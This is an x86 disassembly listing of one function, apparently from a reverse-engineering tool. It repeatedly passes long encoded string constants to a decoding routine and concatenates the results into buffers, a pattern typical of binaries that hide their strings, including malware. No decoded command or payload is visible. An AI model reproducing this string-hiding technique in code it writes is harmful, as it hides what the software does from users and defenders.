mov ecx, str.HVYho__1EJLOQRX__my_0:GGUZbcfu3_KT___dq__178DHWdox_4_GU_hkuy___6AAORRZbfst_2_M___ggnww_3CPTV_ms__0_CIUamv25CKWbekpsu__.:_KXXbmq_8BEQXX_dgvx__16BDFHHPXXXbft__._FFNWchr_3ABJR_ix_257ELMU_kq__3AFUUZfqvy__7_FT___oy__:HIPTbovz8EO_jmw_7DMRTU_emw_6_LY_elssw____399C
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a1fd
xor ecx, ecx
jmp 0x40a211
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a202
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf40]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xf28]
call fcn.00408080
mov ecx, str.LT______n6_KMX_nvv068GPZ_gqv____IO_jo0_HVbmx_247__BP_kszz1:_ISbbq___9FHQZguy_9HPZ_mt_05:CHUbmz___KS_cmry__8_CCDKLZdq__._BINX__gju___3_IWckv48FOVcjy_3_ACR_nr_5__KTUdfggs___JMWfsu_2_EIQQ_eekt___.3_FUVhuy__48BDOOkvy_2_CPYdmotw_78_GP_er_3_KSUVYhp___HJJLM_bjqvw___DOZZchqy_05:_MU_jy__88GIQisw5__CJLOX_akz_.09DQU_bit__:ITckt__.DISSajpqq__17AGQQSalv__1CMXZ_er__3APSbjns__01_JX_eekny___BKLSaiijw_08CLOZbhsw_2_JSbdrww2_KLLSTbcnu_.6_JNYalz13_CELYfijuyy77__FFKVWdfqs__3_FPYZfo.77ETW__nw_00ABQSY_agqz5LUbo88ALV_ikvz.8ALSZfjqv___3_CPSXX__cjm36ACIJKUVamx__38_GTY_dsu__19ALYfor__3HJPQRadlnu
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x101c]
call fcn.0040ccd0
add esp, 4
mov ecx, str.APRRRRRRUccpz___1_CCCMP_goq__2_FHQWWiu__9_HIMX__koxz_:_EOWhjpr__0_BQQRVV_kp_0:HVgs_.9_GRU__jy__58BFNhqy__1__NU_jm_28AGLXjv:_GUVZhty1GUYajy_6EOXXe
mov byte [ebp - 4], 0x11
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a26d
xor ecx, ecx
jmp 0x40a281
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a272
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.JWX_ajuv_9HJYanu_27_IWbbnu9HKZ_hm_6::__DEEOWdotw_.55__BKVW__gjy__188EOZgjx_1_AKXgn7AAP_hsw_7:_DLVjt__0ESdgq__:GKLOQ_iknq__6_GMjvy_2KKV_bnz___8LSYaaps_1169HSckt__39EGOQUUdqru__7_CDMMMVY_jkv__HLQSZ_ajw__499HKRUcpvvy___22:AJUUZhw_39_KLSTXX__n___.8BCDPSZbpw_3___MNilou__38AGPX_jju5BNSXcix____8:BO_jy_____AKVaoox0_AIX_apy__.5_GOgkkt_4_NU_n__02_GQW_dnwx0_JLYbbkn79___NSVaov:_DRWZin_0__BPX_l_5CR_jjnnx___IKYbioorx__:FLTU_chp19_GR__o_5_ELR_apqz149:FM_cn_12__FJKZgsw.08GIRU_dls_.6DJYcmpu_:__EIKV_et._2__EFIV_flsu__4:FJU_mx__4_EHM_alww.00_EFRl__DHWaekq__GGIJLSWdnoortu.2:__ACFUZhnv__05_IINO_admovv_67_KNN_fu169_JVds__4BPQ_bklv__02_EM__ox_9AMVan_.DMRYeor__0_GGOWZacgruy5CJRX__
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a2a4
xor ecx, ecx
jmp 0x40a2bf
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a2b0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.JPSbbbbblnox_89ESSXflw_16CMTekmmx___JVckq_____5CELLWepx_:GUcr_9FKS__no_68CLWdq_58EQXdlvx__169BBM__afipqz2DMWY_fikw__KMP_gr23_BJWequ_4BPPYhhnry_7__AFQbpqq_05_EFT__aipps.2_DMS_js____:BBJTYadeiijt_6AACCNXZbgpq_6_JNUlvy45_CNZehmuw__6_NYY_elrsy_1_JVYcfillr__28BHQQRUVcgr__228DKUUV_jr__02_KY_fqqt_18GQZal_3BFSYYht__355_IXbn_._JJOWeo_33ACOikm_1226__EGTWcq__9_BLWYgox_66_FR_cer__2_KQ_et__45__EFGT_dgq36_LX_bgt_00:ILUZblw_46_EGPPV_dsxz0_CDObjqtz__57_HRZZfhqz_.9::_BLNUdss__4BJNNTZhmu02_CNVXmz__358__HWahpx__6:FTV__efhtz______JY_ix_3LZguw__2AOOX__ksz__1_N_iw___3BBM_jy___.5_COWanx__3:_KTV_eny__:_FTW_nstz_38_GLZbdqx__3458FHS__ahv_38_DHMPVWXfoy_9BDP_llq
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a2e2
xor ecx, ecx
jmp 0x40a2f6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a2e7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.BHKXXXXXZ_hlo_5:AMRitz_5DPXjlpx_3BP_hvz4GPSimuvx_3_HHNP_jpsx1_IL__gix_2_LWX_kx__._:EHTX_aop_.38ELU_lss___.5AHLO__jvy_1_EHJUZcps_..69FHOet111_CGN__my
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a319
xor ecx, ecx
jmp 0x40a32f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a320
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.IJMNNNNNNTZ___dpuw266__COZdgkrz_8__FLX_jw______BBPdjopq___IU___lnx__018FUky_2:EKQZaiu__02_IUWY_fguy__1358_FTV_hhuz_11_GJT_dkz.7_BBNVcju__8ESZ_dkuy_8:GM_fmt_2_KKUX_ceglvy.ELU_lt_0EJMNSXXXgmuu__3::AKTXcgs___4CPVacfmx17:ADNX_hipz88APQgvx_55:GOgsy_19:BOZZhww_4_JSY__bhtz.124BIUdpp69FSVWdlyy_.19_GGNSUZcqvz_6_ALS_hit2_AGRTYghkt__.9__BOP_agkrv_59FGGGTans_09_LV_cot___1278DP_l_0FSWjt18GPSTcm_18:IP_ekqwx__3ANVafhvw5_AIPZblv__56AFUakknor_7CJJY_fl346__EEQSWcghu48_ACGNUbfr_0__HU_fkw_2248:_CRWZdjsv_4GJMZhlq.:__IUYgggvyz_.1_IIMNT_emz_3_OPXamrst_:_KQ_gt_:EPYYfpt2_CGRaellqs_1_MTkpy_346:IMQRU__er_6__LZbjp__.4_KQ_fhin.37DPUbghou__17:_HS_ety_.8_HW_josz___1__GQVX_eekny__1_BCDNNQZkz_..79:__HNT_fpw_4___M_bly_:GM_beefrww_34_IXaos
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a352
xor ecx, ecx
jmp 0x40a366
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a357
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.NVgggggsw___2__LV_nv_0169IIU_cep__DLQX_jq__17__LXcqu_2_HV_lp_.8:_KLZchmmy____6_EN_agitz_15_KXlq_56BGJU_bopvvvvwy1_FU_appp_1_LNTTYbhor_04:ALY_nopy_6
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a389
xor ecx, ecx
jmp 0x40a39f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a390
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.CGISSSSSTYdq_178CNOYaeq_056:_DQ__is___13_EPVehn8GSXcmq__5__HHPUbisu__9FPSWXds_5CPXafmtw__11_FP__ghivvx_7FUbltz4_HRafnvx25EFNRWZccjv0__GS_jv_08ALN_cjw49_LYft_36BCFJWXdnr___00:HKR_ily_._DSUUdmuy26BDMVX_dmu_1_AEJTUWektw_7BLY_cnz_7___FPYdhnn_0:IKQkpsz4_FHHWeht__67CCDER_amw__4BMY_adiv__26AP_ggmopwx_8CPjjssvxy67_EGQ__jt_._IOVhpr__7_LLVenuy_.0__MSZfkp_1:_FKT__deguz:CCJYgiq__1_FINY_doqw79CP_dgm__BEEOS_fgkku_.013_CCCQjv458CIORXXXakp_7FR_jmrssx.27CKXenq_5__MR__fsz.KPko.3:__CDJVVVWesu4:AMXX_lz_3:_ETUgggknz_1_DILU_is_7BLZgnrx___0:_CQTbfpru___HPUWZ__gjw_34___JWdhttv_2__JJJTakx_.4KM__jr_.47ACQ__fu___8FFMSWY_los_3ADJWYfou.2_M_mq:__GOPQY__elov_3:DLVW__ffp_..7EIJNNTcels__1__FQVVcdo25LLUcns_2AMluz0_ENQU_io___
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a3c2
xor ecx, ecx
jmp 0x40a3d6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a3c7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.LVYbbbbbehw_04CJMQ__crx_6_HLR_bjpp2_GQ_gu_____FR_fijty___3_FU_cess1_JKV_chn07:_BHLUV_iptu_.89DFJYZ_ccrvv_1_CMistz_4CEPW_hw
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a3f9
xor ecx, ecx
jmp 0x40a40f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a400
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.PPVWWWWWZdq___6_AKXgmnsux___6CEKQRalx_._HKVkow_:_NUXcks_6_BHRZimz_0_FTY_lmtxz_5DPS__klx__3:BKTUjux__48EKZdiu____78ANRW_do7BBIQ_abbnsy__.1:CIIX_hw__05_EKOZffqu___3BDMQRR_epsw_09HL__ejjow17DENU__nnuz_18GRRVet2AJYhmvv8:_KXYeefhmox2ANR_bhkz4_BEPit__15_EHV____adpv__12__MOhkv_4:FU_gsx__9CGJTWbiw__6__EKRUblv__:__EQUXXXbnt__4BBFFP_iotw__9ESWZdjjpw__045KV__inu3_DLLNW_ept___33IT_grv__1_FRT_mvx_:DPUjko__6AESYfrs__03BLVesv_____IPZhqy25CPQSbgrt__.488AAIISVesv__:EGIV__acdoqt_9ETZ__aghq_.INVWaoqvx_._ISbjlmxz0:__LTZ_guv07_JXgptu___7FGKKKZbms____28HNRap__5_FU_nnw__15:::CDLSY__lpx01:BN_jq_5BKX_n19EO
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a432
xor ecx, ecx
jmp 0x40a446
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a437
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.NVWcmq_0_HT__bkox__6AJVZgpvx_33GPP_fu__5CPSilw___66DOR_cru_44BIKLZ_nntx_0_ITT__himy_36_IPXfgkrtu_2AGMPSVaht__5AGJP__ddqu__FQ_ahlpv___8GQWZenqsx0DFO___llt____ENZ_emw_047BIL_hp_07DRekz_4_GUYhkko___99_CPUjt___7BJST__bhlrwy__5CMY_fqz__4BNW_cdow__.7ELW_hir__6_EKQ_iu_07FSbfn
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a469
xor ecx, ecx
jmp 0x40a47f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a470
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
mov ecx, str.EORWWWWW_et__.18EO_htz__.:AKVZfklz____02:_BHVVYY_cdllrx_59_EKKYfguy:_HMS_hkp_112APP_jt_14BLUbemrs.2_ADMTWhhn5__JRRTXfu_____44_DFKKLXdnot___4ADOZaflx___4ACRZ_lu_2_CDP__bmw__225_DGOP_bgnz...1_AJM___klyy7EEIJM_aclx___6FOXYdeisss__67DGILZ_lnz03_NNXZfim_36BDLSaft__9HW_jps___699DPXbopq____KNOir___059EIXer45:_FJTZ__belmw_9_LVVbmy__:CNUdisw__4__DNORWbjy__134_DFHSUUYfr029_FOW_fs___6_FUcm_1CCR_oz_3_AEIRWccghoo268_EILO__grwy__:ILO_bmq___DRV_lnnw_3BPQ_lrz_5:DFOQ_cmx2_MOQSUcjlzz___KZddejsu9_KZ_jq__4BEN_chst___4_KS_kkx___:EISdrru__6_FQX_noz_3_JKVahux___3_DRYY_hqt_1_ABNUcr__58EHPRSYdivx_._AGRZlsuxz_.23_GVVdstu_0_ITkz___1FR_dsx_5_MTUZ___djmtxx___1__JTZ_hu__4BJT_fgim_4_JV
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a4a2
xor ecx, ecx
jmp 0x40a4b6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a4a7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x101c]
call fcn.00406f40
cmp byte [ebp - 0x1559], 0
je 0x40a4e7
lea eax, [ebp - 0x110c]
push eax
lea edx, [ebp - 0x10f4]
lea ecx, [ebp - 0x101c]
call fcn.00403b10
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x40a512
mov eax, dword [ecx]
jmp 0x40a514
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x101c]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0x1574]
call fcn.00403620
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0xfbc]
cmp eax, esi
je 0x40a589
mov eax, dword [ebp - 0xfa8]
cmp eax, 8
jb 0x40a560
inc eax
lea ecx, [ebp - 0xfbc]
push eax
push dword [ebp - 0xfbc]
call fcn.00407f00
xor eax, eax
mov dword [ebp - 0xfa8], 7
push esi
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0xfac], 0
mov word [ebp - 0xfbc], ax
call fcn.00407070
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x1560]
cmp eax, 8
jb 0x40a5ab
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
mov ecx, str.P_agggggjv_17EILOYbefq__5HQWafoxz8APP__fpw__25HUdfow___LWeox16_EISYgsu.5COWils___01_JSY__fq___0_GU_fuz9_AFRVhhv__3__KY_mu_2_BOTTTfqtw__7CNNXco__7::BIRaloy__4BEHMWahqr__9BJOgo37:CFSXcqst_6ALS_kky_1_KZfrs_3_DIJSUaemx___3_JQT_agosv__24CLLYapy__.89BDDER_muvv2_HLT_ivz
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a5c1
xor ecx, ecx
jmp 0x40a5d5
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a5c6
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf10]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xef8]
call fcn.00408080
mov ecx, str.JUUXXXXX__crz__8DHOdhty16IIRXbjjx__._HLVco_28CIKNU_aiuw.9EJO_abdgl1_EOQ_bdpx__.6BKQU_cno78:__NOZgs__28DDDFJPTcnu_05AISaim___ALRWbmpw_67_LQRUU_jku_03BMZgjn__6__HLM_kv__11_CRXbdrr__HRSYcddfmo__07EEELQ_gkq__9_FS_aeopx_5__FSX_ffmnv4_CMUdrx__8BCQisz_1__NZ__chw___78ADLWZ_krz3:_IU_ennyz5AJSapxx_4CFKNRWaaks__._ALVdoy___6_GP_inp__1:_IJMX_ciwyy8FLWer_1:BLP__glo_2:ILSWely_29_AMN_lsyz__07_OUWlux___NWWclx1_DNU_chorx.:HJT_bddil_34___CQ_eenooqz___06CP_cr__78EOW___ghuy047_FOQRYgnot_.3BGHHKXejr__022_CNSVbmu_088_GSSY__ks159_HP_fp_8::DQUainr45CLU_jp_._JVYiu
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x1064]
call fcn.0040ccd0
add esp, 4
mov ecx, str.DDGNNNNNdkxy___:FFNP_mz9_KRZfkx____KT_fosy___3EHVcry2_CPPW__hn___03BKMNTYdrr__9CITYbqs__7_DKX_iuxz0_DMilp__06_BDMT__lu___AOPefgrr__345DJLRZix6_HJWW_coy___4BN_gjw___77788EJU_aabmy_0_GNRR_mpqr__8FLNZ_lwz_038BKXXYdforz_4ANOYZ_ds5BIU_fft_._AGJNZfuuww_3_CR_bdr__66AMOS__lr__5
mov byte [ebp - 4], 0x13
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a631
xor ecx, ecx
jmp 0x40a645
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a636
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.CPSYYYYYZ__ks___49FGPS_fq_.7LS_iktz_38DMVamw5BIT_lx57_MPWYZfix__.4:_FFPZfjnpw_8JN_dku____.__ILZbflllmv_3_BHKMTX_acmmy__5_ET_fqt__9__LMWejrww458_LNU_ipy_.26AHLMNSTbmr_3_BBDQT_an_06AAGS_nw_5DLOPhky___26_ELNRTUYhv__8_KLW_egjw__:_Njl99ISXXgltu_3:GUafo_09_KZ__hky_8_KKYdflv___IL__hvw__:EGUaln9DPchiw__03BMSS_jx_6ACRapy__2_DKKS__enp_2_DFTU__fntv3_JVdhiijq____GQ_jpx__7DMQ_ajq3_IW_emtt____ENTVbhsv___MOgpx_0278_APVW_kuz_7_LRUVeeghp___KV_lv__4_GOU_adpxz__39_HMPYaksz__4AETUY__bmnz_4__KMOQ__osy_7_CRTTcr___9HIU__dilmr
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a668
xor ecx, ecx
jmp 0x40a67f
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a670
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.ORT_____bmps_.06DP_hnoxx_5:GVes_3:__APS_copx__38DSY_cmosy_8CKS_ns_7_GPUUbqv__2_HIPmmv_55DSVVYhwz.:DEHMTUUY_ggox__:_DJUXjs___7HNXbemnrt2:FHQSYepu__8_LU_hkw_55_OUamnry_17:CCDIVX_kqvy___2_BBOcrx_37BQQQ_dopt_46__EEQ__gry14__IMYZbimu_1_AEHHHUWem__3__FT__fguv__:IWZdkrx__:_INZgrz_157_IQU_hmot__8_FS_dlx6_LRSUcq_._BPXeikrx_9_JJMZhkx37_____IIKT_n_0LRht__13JLSU__hv__.8BEIXcrvy_157DQSX_dsv____JLLXcciruy1_AKMNP_frw__3_GNRZcp___8CCFUWirv__9FGO_blox___689FTciv27EP__emqx__8_FIIPmvv_4_COWZeglz6CGOgtz::_FITZcqt___099BMNR_ix__1_JP_hq__1_AMUYftw__39COPRUcffhjooo__:DPZ_bp__0___EFOVcjt_1447DMkv_5DP_iw_.2AGOPQ_dnnr__8FRims__:LVemnrz___2_AAMOPX_aix__.8CRagiuu__7_BEEQXbprxx__45_MXanz9_APVipv_.2_FLT_dm__0_FFN_gs_16ER_akt__09_DFOWdmx_4_G
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a6a2
xor ecx, ecx
jmp 0x40a6b6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a6a7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.HTUWWWWWbjt__59_BJRensx__.6CMXapuy___027:BMQV_fn2AOQQR_kw_66DIVcqrz_77EOVampsy_.__MTYco_16BEIPTUXetyy__7:DQXcdhkltuu_:HS_kv.8_GOZdfnt4ITcistw_68_LTcq__:IPguuz_03_AHJNNTWlvy___CGMMQ_nt_.9BCKRVerr1128APYdkksy.6ER_gjps___LXehm.59_FS_er_5_JRU_jsx_37:DOQX_jw_19GOZ__box__9__Ndkky_9_EIOQdiv_7AJR_kuz___4_JJX__ght__45BOP_abkmv_223HP__nr__0_LUaimnr_5BEMRRXbmt_3_DHSbgllrwz_12_IJOYbgsuu3_LWblv__56_HPP_ahwxz_14_GPVZ_fms__37FJSU_o_77_GU_dpz1BIKPap__.3_BQlx__2_IOQ_hrv__.35DEEPW__cnw_.118GGT__go_48_KNUU_etw_58EKNORR_bhmvz08__BJOWbhlvx00_CPX_gtz_03ACQQVcijqt_7DN_hqz_288DELUVegu_0255CESWdlu_8CQ_htv__.08__BJLS_afnnz_0KP_cosxx_.1__GPTbjw_.__JTbbnw_0_HUemz4_LZhjlmosx_019_GSW_
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a6d9
xor ecx, ecx
jmp 0x40a6ef
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a6e0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.LU______hlu49_CEJLOR_ovz_15CPWWdp5AFIWdfpz_2_GPQQYhvww__.__HN_go___2AAHRUhkmv3LYgq____25_DPXcoy__04___KKSZgrvy__:BJTWZbdkmnw0:_BKOYhmq__CCMNcr__99DSTXX__fjs_19_KP_irrz__129FOWftu_._EHLOR__mrw_29ETckny_4AFMOPWW_m__34_IIW_fsuv_57DOgru0_CGJJSYet_.6ESiu__29DRWXafkru_1_LZ_fjp__4JUUds_18:FL__ffijkw_0_LOX__hqs__1_HRVcfu__9DEOYYgpy_.5_DMN_clu___CHR_gorux___58_ABIMYbbhhqz_00_HKR_jry__5:FIR_bdiu__11_BBPPZcqswz37AJOOTacds__KQTX_ckmv_5BOTbgoy__1227_LLMP__emw4GGUgpvvz__7ACERahq_89GHLPP__jn_2:HV_jkv__2_CRYefiv__26_FHLSellq_._GJR_hrxy3BJJVW_gt_.0:_GGPP_foqsy26:BHQ_cp_5_GGKU_bo__3BCFGO_jjq.8EMY_oz___06_ISZaflqq_8_GPW__orr__7BBPWbppu_0_HOU_ips__.7:HOSjy_.4__GQV__hsv__9GLQj
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a712
xor ecx, ecx
jmp 0x40a726
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a717
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.P_cdhu_.:CRUkw3:BDGKP_iw6_DSbjy__:_EIUZfo_26__NR_ajw_2_HHUU__fu5_KNUWcjuw78_JLMelt_.46_L__bp__38_GGPVblt_2ADETVbfhnrwy5_GJTegnqxx_49_EPW_fixy_5BMMQU__deegps_2JRjr__:HQkrs_069_AGN_etyy__6_HUbdiw_1:_ABCHTTUYbgv_3APX_eow_05:_BDGOVaggs__5DMSZgluy__8AMRY_hlmr.05CL__hnvx_1_ET__enpy__:BENZ_hhisz_299_HR_hhsvw12_IXgiv_.26CFQVcgu__57EPQST___o__.8GNO_lnu8ANSYfnp_7_GOSanvx__3_M_gkkz_05EIJTdrz_3_BCKSYdmsu_18__BOdruv_2KPV_mz_5_IQUY_jopry___HNY_epx4CGOV_hw___5BGIJKTckop___9_KKOOSggkv_4__JMYamqx__5_JQR_cjknty5667IMX_apx__5DOPSUZht:_FKLYeilt_._DNSbhn1__HHO__bjmv_3_DLX_nwx.03ANPR__ivz__17DIU_ahv_.2_KOW_msz1:HOWX_jr_13_COWefu___8FKNYcpy__9_BBOOUajs____4CDLN_et2:EN__jsstx_:_HVYimo__6_HU_acfu_9_ADGOmoty_3____EN__iopsu
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a749
xor ecx, ecx
jmp 0x40a75f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a750
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.MNNjorw__5_KLOVZZbcgnww_24_APRUdqw_2:CPgjw_.7_IMRaklz_6____MQixy____0279HQUbq___HNX_aes__36__HNN_ajy_06AJKYhw_278EIPQ_htxzz._CFUY_bkp__5BFKOZ_opw049DHMT_egu____3_GIPRXdjy_4_BOPYZfflno.8JTWagnoou___1:FPiloz_0299DMQUdsx5_HRUZflx___8LXait___.23AAJM__epu_01_JRYYaeq_____4_EEOR__mq___5_DQly___2BDQXcpt__0__BFM_lpz0_BMXbckvw4_HVXXgkq_55_FRYdjx__1_KKNN_iinr_0__FUYhlpty_9:CLU___frz__5CMYjw__9HJNS__ejvvw__9_LNNUZcnu__1_GKSSUbox__:_M_cnv__AMPUffkqtx57__HHNQYefly__2:GOW__gtxz_1:HIR_dr__6KRV_cr____KQXcr_01__JNQS_ity3:_CELT_gt_8_
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a782
xor ecx, ecx
jmp 0x40a796
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a787
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.HIOSSSSSU_anntuz__38FJSWZ_hmrty_9DQ_gm____EJJSXgmv__7_GU_gs122__FPUXamtt__.6COYerrx____IU_bltt__0_MVacqz__4:FJVWcix_5_JQX_gipvwx_____00_CNRjs_0_CGMYZcimpz_5AJNZgt___6_EHR_ddsu5:_IKKLYZbowz_4BHOTVVW_dm__4_BGRRX_fn:FRU
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a7b9
xor ecx, ecx
jmp 0x40a7cf
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a7c0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
mov ecx, str.NV_bbbbbeknt38CCMM_gmz_7BN_gmwz7EHJRSSYY_gimu3DSafflv_1_AEINR_ejmw._BGNSV__gov_788_JP_hho____48EIKLXbbgt_1_AFO_bkw__7_ISVdmy8BLWcovyy__23ALSSTacoz__4__EOSZ___gvx__2_NVZdjkw_3_JP_jo.__BNN_cns__23__FKX_acen_4CHOQX_bfrz__07:_ABDOky_09_NY_bkq_.4_DP__jt___IWYfors_4BO_jw_046BBESkkss__04_MNVVWeny_.
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a7f2
xor ecx, ecx
jmp 0x40a806
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a7f7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1064]
call fcn.00406f40
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x40a83e
mov eax, dword [ecx]
jmp 0x40a840
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x1064]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0x1574]
call fcn.00403620
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0xfbc]
cmp eax, esi
je 0x40a8b5
mov eax, dword [ebp - 0xfa8]
cmp eax, 8
jb 0x40a88c
inc eax
lea ecx, [ebp - 0xfbc]
push eax
push dword [ebp - 0xfbc]
call fcn.00407f00
xor eax, eax
mov dword [ebp - 0xfa8], 7
push esi
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0xfac], 0
mov word [ebp - 0xfbc], ax
call fcn.00407070
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x1560]
cmp eax, 8
jb 0x40a8d7
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
